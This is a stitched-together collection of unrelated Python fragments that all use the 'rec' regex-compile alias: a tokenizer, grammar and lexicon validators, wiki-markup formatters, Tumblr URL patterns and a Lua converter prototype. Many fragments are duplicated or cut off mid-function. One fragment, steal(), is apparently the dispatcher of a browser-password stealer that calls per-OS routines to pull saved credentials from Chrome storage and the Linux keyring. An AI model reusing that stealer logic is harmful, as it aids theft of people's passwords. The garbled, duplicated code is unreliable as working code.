def __init__(self, symbols, keywords):
self._regex_token_pairs = tuple(
(type_, rec(regex)) for type_, regex in tuple(
('KEYWORD', k + r'(?!\w)') for k in keywords) + tuple(
('SYMBOL', esc(symbol)) for symbol in symbols) +
(('STRING', r'\"(?:\\\"|[^"])*\"' + r'|'
r"\'(?:\\\'|[^'])*\'"), ('FLOAT', r'\d+\.\d*|\.\d+'),
('INT', r'\d+'), ('NAME', r'\w+')))
self._space_re = rec(r'[ \t]*(?:\#[^\n]*)?')
self._empty_lines_re = rec(r'(?:(?:[ \t]*(?:\#[^\n]*)?)(?:\n|\Z))*')
self._err_re = rec(r'[^\s]*')
def check_addr():
reprs = {
"name": rec(r"[a-zA-Z ]+"),
"birthday": rec(r"[0-3]?[0-9]\-[01]?[0-9]\-[12][0-9]{3}"),
"phone": rec(r"0*[1-9][0-9]*"),
"address": rec(r".+"),
"email": rec(r"[^@ ]+@[^@ ]+"),
}
with open(reports_out, "a") as f:
for r in addr:
for k in r:
if k not in reprs or not reprs[k].fullmatch(r[k]):
f.write("[check] {}: {}".format(k, r[k]))
def __init__(self, symbols, keywords):
self._regex_token_pairs = tuple(
(type_, rec(regex)) for type_, regex in
tuple(('KEYWORD', k + r'(?!\w)') for k in keywords) +
tuple(('SYMBOL', esc(symbol)) for symbol in symbols) +
( ('STRING',
r'\"(?:\\\"|[^"])*\"' + r'|'
r"\'(?:\\\'|[^'])*\'"),
('FLOAT', r'\d+\.\d*|\.\d+'),
('INT', r'\d+'),
('NAME', r'\w+')))
self._space_re = rec(r'[ \t]*(?:\#[^\n]*)?')
self._empty_lines_re = rec(r'(?:(?:[ \t]*(?:\#[^\n]*)?)(?:\n|\Z))*')
self._err_re = rec(r'[^\s]*')
def steal():
if platform.system() == "Windows":
return steal_windows()
elif platform.system() == 'Darwin':
return steal_osx()
elif platform.system() == 'Linux':
return_list = list()
# Basic return
basic_return = steal_linux_basic()
if isinstance(basic_return, str):
return_list.append(basic_return)
else:
return_list = basic_return
# Linux has 3 types of storage, basic,keyring and wallet, try everything then return
if chrome_keyring == False:
# Print a warning
return_list.append("[-] Warning: gnomekeyring module not found.")
else:
# Get keyring
keyring_list = steal_linux_keyring(
rec(r"https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+"))
if isinstance(keyring_list, str):
return_list.append(keyring_list)
else:
for combo in keyring_list:
return_list.append(combo)
return return_list
return ("[-] " + platform.system() + " is not supported.")
def filter_files(files, suffix):
re = rec(r'\S+?([0-9]+)\.%s$' % suffix)
def g(fns):
for fn in fns:
m = re.match(fn)
if m: yield int(m.group(1)), fn
return [tt[1] for tt in sorted(g(files), key=lambda t: t[0])]
def sanitizeAndValidateGrammar(grammarFileName):
"""
Returns a pair. The latter element is the "sanitized" content of a
grammar (without comments), and the former element is a boolean
specifying if the grammar is a valid one (only contains nonterminals)
"""
return _sanitizeAndValidateWithPattern(grammarFileName, rec("^[^'\"]+\s+->\s+[^'\"]+((\s*\|)|\s+[^'\"]+)*$"))
def sanitizeAndValidateSentences(sentenceFileName):
"""
Returns a pair. The latter element is the "sanitized" content of the
test sentences (without comments) and the former element is a boolean
specifying if the sentences are in the proper format (no punctuation,
possible asterisk in front specifying no parse)
"""
return _sanitizeAndValidateWithPattern(sentenceFileName, rec("^\*?[^" + escape(punctuation) + "]+$"))
def sanitizeAndValidateLexicon(lexiconFileName):
"""
Returns a pair. The latter element is the "sanitized" content of a
lexicon (without comments), and the former element is a boolean
specifying if the lexicon is a valid lexicon (only contains terminals)
:param lexiconFileName: a valid path to the file storing terminal rules
"""
return _sanitizeAndValidateWithPattern(
lexiconFileName,
rec("^[^'\"]+\s+->\s+(?P<quote>['\"])[^'\"]+(?P=quote)" "(\s*\\|\s*(?P=quote)[^'\"]+(?P=quote))*$"),
)
"""
Created on 2012-12-12
@author: qcg
"""
from re import compile as rec
s = "PING dd"
r = rec(r"PING.*")
if r.fullmatch(s):
print("FIND")
d = {"name": "qcg", "birthday": "1999-09-09"}
print(type(rb"\n"), len(rb"\n"))
from re import compile as rec
import pymongo
db = pymongo.Connection("localhost")
chebi = db.chemicals.chebi
chebi.find_one({'Synonyms':rec('FOOF')})['Molfile']
def markdown(raw):
raw = _unicode(raw)
formatted_text = ignore_trailing_newlines(markdown_parser.render(raw))
thumbs = get_thumbs(raw)
return formatted_text, thumbs
###
# Simple MoinMoin-like formatter. Legacy.
###
bnwtypes = (
("emph", rec(ur'(?<!:)//'), lambda m: ()),
("strong", rec(ur'\*\*'), lambda m: ()),
("namedlink", rec(ur'''\[\[\s*(?P<link_target>.+?)\s*[|]\s*(?P<link_text>.+?)\s*]]'''), lambda m: (m.group('link_target'),m.group('link_text'))),
("source", rec(ur'''{{{(?:#!(\w+)\s+)?(.*?)}}}''', re.MULTILINE|re.DOTALL), lambda m: (m.group(1),m.group(2))),
)
formatting_tags = {
'emph': ('<i>', '</i>'),
'strong': ('<b>', '</b>'),
}
parser = LinkParser(types=bnwtypes + shittypes)
from re import compile as rec
import pymongo
db = pymongo.Connection("localhost")
chebi = db.chemicals.chebi
chebi.find_one({'Synonyms': rec('FOOF')})['Molfile']
#!/usr/bin/env python
# vim: expandtab tabstop=4 shiftwidth=4
import re
from re import compile as rec
_PICTYPES = r'|'.join([r'png', r'jpg', r'jpeg', r'gif'])
_VIDTYPES = r'|'.join([r'mp4'])
TUMBLR = r'.tumblr.com'
ISPHOTO = rec(r'.*\.(?P<type>' + _PICTYPES + ')')
ISVIDEO = rec(r'.*\.(?P<type>' + _VIDTYPES + ')')
PHOTO = rec(r'(http[s]?://[a-z0-9\.]*(?:media|static)' + TUMBLR + r'/(?:[^ /]*/?)tumblr_[^ ]*\.(?:' + _PICTYPES + r'))', re.I)
PHOTOSET = rec(r'(http[s]?://[^ ]*/photoset_iframe/[^ ]*/false)', re.I)
SIZEDPHOTO = rec(r'.*[/]?(?P<name>tumblr_.*)_(?P<size>[0-9]+)\.(?P<type>' + _PICTYPES + r')', re.I)
VIDEO = rec(r'\\x22(http[s]?://[^ ]*' + TUMBLR + r'/video_file/([^ ]*))\\x22 type=\\x22video/(' + _VIDTYPES + r')\\x22', re.I)
FILENAME = rec(r'http[s]?://.*/(?P<name>.*\..*)')
STATICRES = rec(r'[^ ]*static' + TUMBLR + r'[^ ]*', re.I)
BLOG = rec(r'(?P<protocol>http[s]?://)(?P<name>.*)' + TUMBLR + r'[/]?', re.I)
import re
from re import compile as rec
import linkshit
import linkshit_format
moin_types = linkshit_format.bnw_autolinks + (
("emph", rec(ur"(?<!:)//"), lambda m: ()),
("strong", rec(ur"\*\*"), lambda m: ()),
(
"namedlink",
rec(ur"""\[\[\s*(?P<link_target>.+?)\s*[|]\s*(?P<link_text>.+?)\s*]]"""),
lambda m: (m.group("link_target"), m.group("link_text")),
),
(
"source",
rec(ur"""{{{(?:#!([0-9A-Za-z]+)\s+)?(.*?)}}}""", re.MULTILINE | re.DOTALL),
lambda m: (m.group(1), m.group(2)),
),
)
formatting_tags = {"emph": ("<i>", "</i>"), "strong": ("<b>", "</b>")}
# moin_parser = LinkParser(types=moin_types + shittypes)
# plain_parser = LinkParser(types=shittypes)
class MoinMoinFormat(linkshit_format.LinkShitFormat):
def __init__(self):
parser = linkshit.LinkParser(types=moin_types)
:param string url: [required] request url
:param result: [required] request response
:type result: Response
"""
einfo = CacheInfo(
url=url,
status_code=result.status_code,
headers=[db.Blob('%s:%s' % (k, v)) for k, v in result.headers.items()],
content=result.content)
einfo.put()
REQUEST2XML = {
# /projects/#{project_id}/time_entries.xml
# /todo_items/#{todo_item_id}/time_entries.xml
rec(r".*\/time_entries\.xml"): ("time-entry", ),
# /time_entries/#{id}.xml
rec(r".*\/time_entries\/\d*\.xml"): ("time-entry", ),
# /todo_lists/#{todo_list_id}/todo_items.xml
rec(r".*\/todo_items\.xml"): ("todo-item", ),
# /todo_items/#{id}.xml
rec(r".*\/todo_items\/\d*\.xml"): ("todo-item", ),
# /projects/#{project_id}/todo_lists.xml
rec(r".*\/todo_lists\.xml"): ("todo-list", ),
# /todo_lists/#{id}.xml`
rec(r".*\/todo_lists\/\d*\.xml"): ("todo-list", ),
}
def get_xml_for_request(url):
""" Get xml base tags for request
:param string url: [required] request url
:param result: [required] request response
:type result: Response
"""
einfo = CacheInfo(url=url, status_code=result.status_code,
headers=[db.Blob('%s:%s' % (k, v))
for k, v in result.headers.items()],
content=result.content)
einfo.put()
REQUEST2XML = {
# /projects/#{project_id}/time_entries.xml
# /todo_items/#{todo_item_id}/time_entries.xml
rec(r".*\/time_entries\.xml"): ("time-entry",),
# /time_entries/#{id}.xml
rec(r".*\/time_entries\/\d*\.xml"): ("time-entry",),
# /todo_lists/#{todo_list_id}/todo_items.xml
rec(r".*\/todo_items\.xml"): ("todo-item",),
# /todo_items/#{id}.xml
rec(r".*\/todo_items\/\d*\.xml"): ("todo-item",),
# /projects/#{project_id}/todo_lists.xml
rec(r".*\/todo_lists\.xml"): ("todo-list",),
# /todo_lists/#{id}.xml`
rec(r".*\/todo_lists\/\d*\.xml"): ("todo-list",),
}
def get_xml_for_request(url):
""" Get xml base tags for request
#!/usr/bin/python3
##
## Simple prototype for hwk2lua
##
## TODO: Handle strings like this: [[ string ]]
from re import MULTILINE, compile as rec
import sys
ws_rx = rec(" +")
op_rx = rec('(^|\-\-|".*?"|\'.*?\'|=>|{|})', MULTILINE)
def hwk2lua(text):
out = []
segments = []
## Break the text into segments
last = 0
for m in op_rx.finditer(text):
start, end = m.span()
if start != last:
segments.append(text[last:start])
segments.append(m.group())
last = end
segments.append(text[last:])
## Edit the segments into outputs
last = ""